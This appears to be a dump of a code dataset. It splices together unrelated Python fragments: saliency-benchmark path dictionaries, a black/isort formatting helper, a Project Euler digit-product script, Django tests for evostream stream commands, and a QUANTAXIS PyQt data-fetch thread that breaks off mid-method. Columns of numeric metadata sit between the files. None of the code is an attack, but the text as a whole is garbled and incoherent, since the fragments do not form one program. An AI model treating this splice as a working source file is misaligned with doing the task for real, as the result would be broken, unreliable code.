"STEREO797": dict(path=os.path.join(MB_root, "STEREO"), suffix=".png"),
"STEREO1000": None,
"DUTRGBD": dict(path=os.path.join(MB_root, "DUT-RGBD"), suffix=".png"),
}
MMCI_root = "<your_methods_path>/MMCI"
MMCI = {
"LFSD": dict(path=os.path.join(MMCI_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(MMCI_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(MMCI_root, "NLPR"), suffix=".jpg"),
"RGBD135": dict(path=os.path.join(MMCI_root, "RGBD135"), suffix=".bmp"),
"SIP": dict(path=os.path.join(MMCI_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(MMCI_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(MMCI_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(MMCI_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(MMCI_root, "DUT-RGBD"), suffix=".png"),
}
NLPR_root = "<your_methods_path>/NLPR"
NLPR = {
"LFSD": dict(path=os.path.join(NLPR_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(NLPR_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(NLPR_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(NLPR_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(NLPR_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(NLPR_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(NLPR_root, "STEREO-797"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(NLPR_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(NLPR_root, "DUT-RGBD"), suffix=".png"),
}
PCANet_root = "<your_methods_path>/PCANet"
PCANet = {
"LFSD": dict(path=os.path.join(PCANet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(PCANet_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(PCANet_root, "NLPR"), suffix=".jpg"),
"RGBD135": dict(path=os.path.join(PCANet_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(PCANet_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(PCANet_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(PCANet_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(PCANet_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(PCANet_root, "DUT-RGBD"), suffix=".png"),
}
PDNet_root = "<your_methods_path>/PDNet"
PDNet = {
"LFSD": dict(path=os.path.join(PDNet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(PDNet_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(PDNet_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(PDNet_root, "RGBD135"), suffix=".png"),
"SIP": None,
"SSD": dict(path=os.path.join(PDNet_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(PDNet_root, "STEREO"), suffix=".png"),
"STEREO1000": None,
"DUTRGBD": dict(path=os.path.join(PDNet_root, "DUT-RGBD"), suffix=".png"),
}
TANet_root = "<your_methods_path>/TANet"
TANet = {
"LFSD": dict(path=os.path.join(TANet_root, "LFSD"), suffix=".png"),
"NJUD": dict(path=os.path.join(TANet_root, "NJUD"), suffix=".png"),
"NLPR": dict(path=os.path.join(TANet_root, "NLPR"), suffix=".png"),
"RGBD135": dict(path=os.path.join(TANet_root, "RGBD135"), suffix=".png"),
"SIP": dict(path=os.path.join(TANet_root, "SIP"), suffix=".png"),
"SSD": dict(path=os.path.join(TANet_root, "SSD"), suffix=".png"),
"STEREO797": dict(path=os.path.join(TANet_root, "STEREO"), suffix=".png"),
"STEREO1000": dict(path=os.path.join(TANet_root, "STERE"), suffix=".png"),
"DUTRGBD": dict(path=os.path.join(TANet_root, "DUT-RGBD"), suffix=".png"),
}
| 51.775656
| 87
| 0.639624
| 3,206
| 21,694
| 4.200873
| 0.027137
| 0.149688
| 0.18711
| 0.261954
| 0.918102
| 0.886026
| 0.858628
| 0.730918
| 0.68169
| 0.670701
| 0
| 0.030377
| 0.115331
| 21,694
| 418
| 88
| 51.899522
| 0.671373
| 0.000968
| 0
| 0.093506
| 0
| 0
| 0.230492
| 0.04979
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.002597
| 0
| 0.002597
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ea0bca91dc023b57c074a6e42d88544ce945a593
| 857
|
py
|
Python
|
src/asttrs/utils.py
|
ryanchao2012/asttrs
|
b5e30ae6094f6b9d0504ca6b9c9a887df05a91c1
|
[
"MIT"
] | null | null | null |
src/asttrs/utils.py
|
ryanchao2012/asttrs
|
b5e30ae6094f6b9d0504ca6b9c9a887df05a91c1
|
[
"MIT"
] | null | null | null |
src/asttrs/utils.py
|
ryanchao2012/asttrs
|
b5e30ae6094f6b9d0504ca6b9c9a887df05a91c1
|
[
"MIT"
] | null | null | null |
import pathlib
import subprocess as sp
import tempfile
def blacking(source_code: str):
with tempfile.NamedTemporaryFile("w", delete=False) as f:
f.write(source_code)
fname = f.name
p = sp.Popen(f"cat {fname}".split(), stdout=sp.PIPE)
out = sp.check_output("black -q -".split(), stdin=p.stdout)
p.wait()
try:
pathlib.Path(fname).unlink()
except FileNotFoundError:
pass
return out.decode()
def isorting(source_code: str):
with tempfile.NamedTemporaryFile("w", delete=False) as f:
f.write(source_code)
fname = f.name
p = sp.Popen(f"cat {fname}".split(), stdout=sp.PIPE)
out = sp.check_output("isort -q -".split(), stdin=p.stdout)
p.wait()
try:
pathlib.Path(fname).unlink()
except FileNotFoundError:
pass
return out.decode()
| 19.477273
| 63
| 0.621937
| 114
| 857
| 4.622807
| 0.377193
| 0.075901
| 0.049336
| 0.064516
| 0.850095
| 0.850095
| 0.850095
| 0.850095
| 0.850095
| 0.850095
| 0
| 0
| 0.240373
| 857
| 43
| 64
| 19.930233
| 0.809524
| 0
| 0
| 0.740741
| 0
| 0
| 0.051342
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.074074
| false
| 0.074074
| 0.111111
| 0
| 0.259259
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
ea4ce53396abbe15bfb0f90652e786402c6407ea
| 1,383
|
py
|
Python
|
Problem 001-150 Python/pb008.py
|
Adamssss/projectEuler
|
25881b1bd82876e81197756f62ab5b0d73e3e6c8
|
[
"MIT"
] | 2
|
2015-02-11T05:47:42.000Z
|
2015-02-11T05:47:51.000Z
|
Problem 001-150 Python/pb008.py
|
Adamssss/projectEuler
|
25881b1bd82876e81197756f62ab5b0d73e3e6c8
|
[
"MIT"
] | 1
|
2015-04-13T06:36:21.000Z
|
2015-04-13T06:36:21.000Z
|
Problem 001-150 Python/pb008.py
|
Adamssss/projectEuler
|
25881b1bd82876e81197756f62ab5b0d73e3e6c8
|
[
"MIT"
] | null | null | null |
import time
t1 = time.time()
numbers = "7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450"
eachNumber = []
for i in range(0,1000):
eachNumber.append(ord(numbers[i])-48)
largestProduct = 0
for i in range(0,1000-13):
product = 1
for j in range (0,13):
product = product * eachNumber[i+j]
if product > largestProduct:
largestProduct = product
print (largestProduct)
print("time:",time.time()-t1)
| 60.130435
| 1,012
| 0.900217
| 54
| 1,383
| 23.055556
| 0.407407
| 0.019277
| 0.019277
| 0.017671
| 0.025703
| 0.025703
| 0
| 0
| 0
| 0
| 0
| 0.786595
| 0.061461
| 1,383
| 22
| 1,013
| 62.863636
| 0.172573
| 0
| 0
| 0
| 0
| 0
| 0.726681
| 0.723066
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.066667
| 0
| 0.066667
| 0.133333
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ea7e72744cbc4d203a2a5a6c1b5063f0821020d7
| 24,106
|
py
|
Python
|
testapp/tests.py
|
tomi77/django-evostream
|
5702aa7031a2330778b8c7c9e19ec527768ddf44
|
[
"MIT"
] | 6
|
2016-04-27T00:42:51.000Z
|
2020-10-28T03:40:26.000Z
|
testapp/tests.py
|
tomi77/django-evostream
|
5702aa7031a2330778b8c7c9e19ec527768ddf44
|
[
"MIT"
] | null | null | null |
testapp/tests.py
|
tomi77/django-evostream
|
5702aa7031a2330778b8c7c9e19ec527768ddf44
|
[
"MIT"
] | 1
|
2019-10-11T00:37:38.000Z
|
2019-10-11T00:37:38.000Z
|
import json
import os
import django
from pyems.protocols import HTTPProtocol
from evostream.default import api
os.environ['DJANGO_SETTINGS_MODULE'] = 'testapp.settings'
if hasattr(django, 'setup'):
django.setup()
try:
from unittest import mock
except ImportError:
import mock
from django.core.management import call_command
from django.test import TestCase
class TestHTTPProtocol(HTTPProtocol):
def __init__(self, result):
self.result = json.dumps(result)
def get_result(self, command, **params):
return self.result
def load_test_data(filename):
fh = open(os.path.join(os.path.dirname(__file__), 'testdata', filename), 'r')
data = json.load(fh)
fh.close()
return data
class EmsTestCase(TestCase):
data_file = None
data = None
def setUp(self):
self.data = load_test_data(self.data_file)
api.protocol = TestHTTPProtocol(self.data)
@mock.patch('pyems.utils.logger', mock.Mock())
class PullStreamTestCase(EmsTestCase):
data_file = 'pull_stream.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('pullstream', 'rtmp://s2pchzxmtymn2k.cloudfront.net/cfx/st/mp4:sintel.mp4',
localStreamName='testpullstream')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['localStreamName']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class PushStreamTestCase(EmsTestCase):
data_file = 'push_stream.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('pushstream', 'rtmp://DestinationAddress/live',
localStreamName='testpullstream', targetStreamName='testpushStream')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['localStreamName']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class ListStreamsIdsTestCase(EmsTestCase):
data_file = 'list_streams_ids.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('liststreamsids')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for _id in ['205', '206', '207']:
try:
out.index(_id)
except ValueError:
self.fail('ID %s not found' % _id)
@mock.patch('pyems.utils.logger', mock.Mock())
class GetStreamInfoTestCase(EmsTestCase):
data_file = 'get_stream_info.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('getstreaminfo', '1', verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data'].keys():
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('getstreaminfo', '1')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['uniqueId', 'name']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class ListStreamsTestCase(EmsTestCase):
data_file = 'list_streams.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('liststreams', verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for data in self.data['data']:
for key in data.keys():
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('liststreams')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['uniqueId', 'name']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class GetStreamsCountTestCase(EmsTestCase):
data_file = 'get_streams_count.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('getstreamscount')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data'].keys():
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class ShutdownStreamTestCase(EmsTestCase):
data_file = 'shutdown_stream.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('shutdownstream', '55')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data'].keys():
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class ListConfigTestCase(EmsTestCase):
data_file = 'list_config.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('listconfig')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data'].keys():
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class RemoveConfigTestCase(EmsTestCase):
data_file = 'remove_config.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('removeconfig', '555', verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('removeconfig', '555')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['configId']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class GetConfigInfoTestCase(EmsTestCase):
data_file = 'get_config_info.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('getconfiginfo', '1', verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('getconfiginfo', '1')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['configId', 'localStreamName']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class AddStreamAliasTestCase(EmsTestCase):
data_file = 'add_stream_alias.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('addstreamalias', 'MyStream', 'video1', expirePeriod=-300)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class ListStreamAliasesTestCase(EmsTestCase):
data_file = 'list_stream_aliases.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('liststreamaliases', verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for data in self.data['data']:
for key in data:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('liststreamaliases')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['aliasName', 'localStreamName']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class RemoveStreamAliasTestCase(EmsTestCase):
data_file = 'remove_stream_alias.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('removestreamalias', 'video1')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class FlushStreamAliasesTestCase(EmsTestCase):
data_file = 'flush_stream_aliases.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('flushstreamaliases')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
try:
out.index('No data')
except ValueError:
self.fail('Key "No data" not found')
@mock.patch('pyems.utils.logger', mock.Mock())
class AddGroupNameAliasTestCase(EmsTestCase):
data_file = 'add_group_name_alias.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('addgroupnamealias', 'MyGroup', 'TestGroupAlias', verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('addgroupnamealias', 'MyGroup', 'TestGroupAlias')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['aliasName', 'groupName']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class FlushGroupNameAliasesTestCase(EmsTestCase):
data_file = 'flush_group_name_aliases.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('flushgroupnamealiases')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
try:
out.index('No data')
except ValueError:
self.fail('Key "No data" not found')
@mock.patch('pyems.utils.logger', mock.Mock())
class GetGroupNameByAliasTestCase(EmsTestCase):
data_file = 'get_group_name_by_alias.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('getgroupnamebyalias', 'TestGroupAlias', verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('getgroupnamebyalias', 'TestGroupAlias')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['aliasName', 'groupName']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class ListGroupNameAliasesTestCase(EmsTestCase):
data_file = 'list_group_name_aliases.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('listgroupnamealiases')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for data in self.data['data']:
for key in data:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class RemoveGroupNameAliasTestCase(EmsTestCase):
data_file = 'remove_group_name_alias.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('removegroupnamealias', 'video1')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class ListHttpStreamingSessionsTestCase(EmsTestCase):
data_file = 'list_http_streaming_sessions.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('listhttpstreamingsessions')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for data in self.data['data']:
for key in data:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class CreateIngestPointTestCase(EmsTestCase):
data_file = 'create_ingest_point.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('createingestpoint', 'theIngestPoint', 'useMeToViewStream')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class RemoveIngestPointTestCase(EmsTestCase):
data_file = 'remove_ingest_point.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('removeingestpoint', 'theIngestPoint')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class ListIngestPointsTestCase(EmsTestCase):
data_file = 'list_ingest_points.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('listingestpoints')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for data in self.data['data']:
for key in data:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class CreateHLSStreamTestCase(EmsTestCase):
data_file = 'create_hls_stream.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('createhlsstream', 'hlstest', '/MyWebRoot/', bandwidths=128, groupName='hls',
playlistType='rolling', playlistLength=10, chunkLength=5, verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('createhlsstream', 'hlstest', '/MyWebRoot/', bandwidths=128, groupName='hls',
playlistType='rolling', playlistLength=10, chunkLength=5)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['localStreamNames', 'targetFolder']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class CreateHDSStreamTestCase(EmsTestCase):
data_file = 'create_hds_stream.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('createhdsstream', 'testpullStream', '../evo-webroot', groupName='hds',
playlistType='rolling', verbosity=2)
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli(self, mock_write):
call_command('createhdsstream', 'testpullStream', '../evo-webroot', groupName='hds',
playlistType='rolling')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in ['localStreamNames', 'targetFolder']:
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
@mock.patch('pyems.utils.logger', mock.Mock())
class IsStreamRunningTestCase(EmsTestCase):
data_file = 'is_stream_running.json'
if django.VERSION >= (1, 5):
@mock.patch('django.core.management.base.OutputWrapper.write')
def test_cli_verbose(self, mock_write):
call_command('isstreamrunning', '1')
self.assertGreaterEqual(mock_write.call_count, 1)
out = ''.join([z for x in mock_write.call_args_list for y in x for z in y])
for key in self.data['data'].keys():
try:
out.index(key)
except ValueError:
self.fail('Key %s not found' % key)
| 40.582492
| 102
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| 0.816001
| 0.811943
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| 0
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| 0.296026
| 24,106
| 593
| 103
| 40.650927
| 0.804891
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| 0.093172
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| 1
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| false
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| 0.020284
| 0.002028
| 0.217039
| 0
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0
| 7
|
ea8aef841c7824e143ef8e156194a1e7800afa6d
| 26,373
|
py
|
Python
|
QUANTAXIS_Monitor_GUI/TasksByThreading/QA_Gui_DateFetch_Task.py
|
simplezhang57/QUANTAXIS
|
0fab23ee3cc4048a30b5eed3c311a5c9cdce8110
|
[
"MIT"
] | 2
|
2018-10-29T12:01:55.000Z
|
2021-03-05T10:28:59.000Z
|
QUANTAXIS_Monitor_GUI/TasksByThreading/QA_Gui_DateFetch_Task.py
|
frosthaoz/QUANTAXIS
|
f5f482418e5f6e23ac3530089b8d17300d931b48
|
[
"MIT"
] | null | null | null |
QUANTAXIS_Monitor_GUI/TasksByThreading/QA_Gui_DateFetch_Task.py
|
frosthaoz/QUANTAXIS
|
f5f482418e5f6e23ac3530089b8d17300d931b48
|
[
"MIT"
] | 3
|
2018-11-29T07:07:56.000Z
|
2021-02-09T17:24:56.000Z
|
import time
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
from PyQt5 import QtCore
from QUANTAXIS.QASU.save_tdx import (QA_SU_save_stock_day,
QA_SU_save_stock_week,
QA_SU_save_stock_month,
QA_SU_save_stock_year,
QA_SU_save_stock_xdxr,
QA_SU_save_stock_min,
QA_SU_save_index_day,
QA_SU_save_index_min,
QA_SU_save_etf_day,
QA_SU_save_etf_min,
QA_SU_save_stock_list,
QA_SU_save_stock_block,
QA_SU_save_stock_info,
QA_SU_save_stock_transaction,
QA_SU_save_option_day)
from QUANTAXIS.QAUtil import DATABASE
'''
https://martinfitzpatrick.name/article/multithreading-pyqt-applications-with-qthreadpool/
QThread
'''
class QA_GUI_Date_Fetch_Task(QThread):
#todo fix here 不会执行 __init__的 QThread 是一个很特别的对象。
#
#def __int__(self, qParentWidget):
# 初始化函数，默认
# super(QA_GUI_Date_Fetch_Task, self).__init__()
# self.qParentWidget = qParentWidget;
# abstract method, 线程工作的地方
def run(self):
pass
# 定义一个信号, 更新任务进度
trigger_new_log = pyqtSignal(str)
trigger_new_progress = pyqtSignal(int)
trigger_start_task_begin = pyqtSignal(str)
trigger_start_task_done = pyqtSignal(str)
#abstract method ?
def connectSignalSlot(self):
self.trigger_new_log.connect(self.updateLogTriggerHandler)
self.trigger_new_progress.connect(self.updateProgressTriggerHandler)
self.trigger_start_task_begin.connect(self.startTaskTriggerHandler)
self.trigger_start_task_done.connect(self.doneTaskTriggerHandler)
def setLoggingUIWidget(self, logDisplay):
self.logDisplay = logDisplay
def setProgressUIWidget(self, qProgressBar):
self.qProgressBar = qProgressBar
def setCheckboxUIWidget(self, qCheckBox):
self.qCheckBox = qCheckBox
#abstract method
def changeRunningTaskColor0(self, qColor=None):
palette = self.qCheckBox.palette()
if qColor == None:
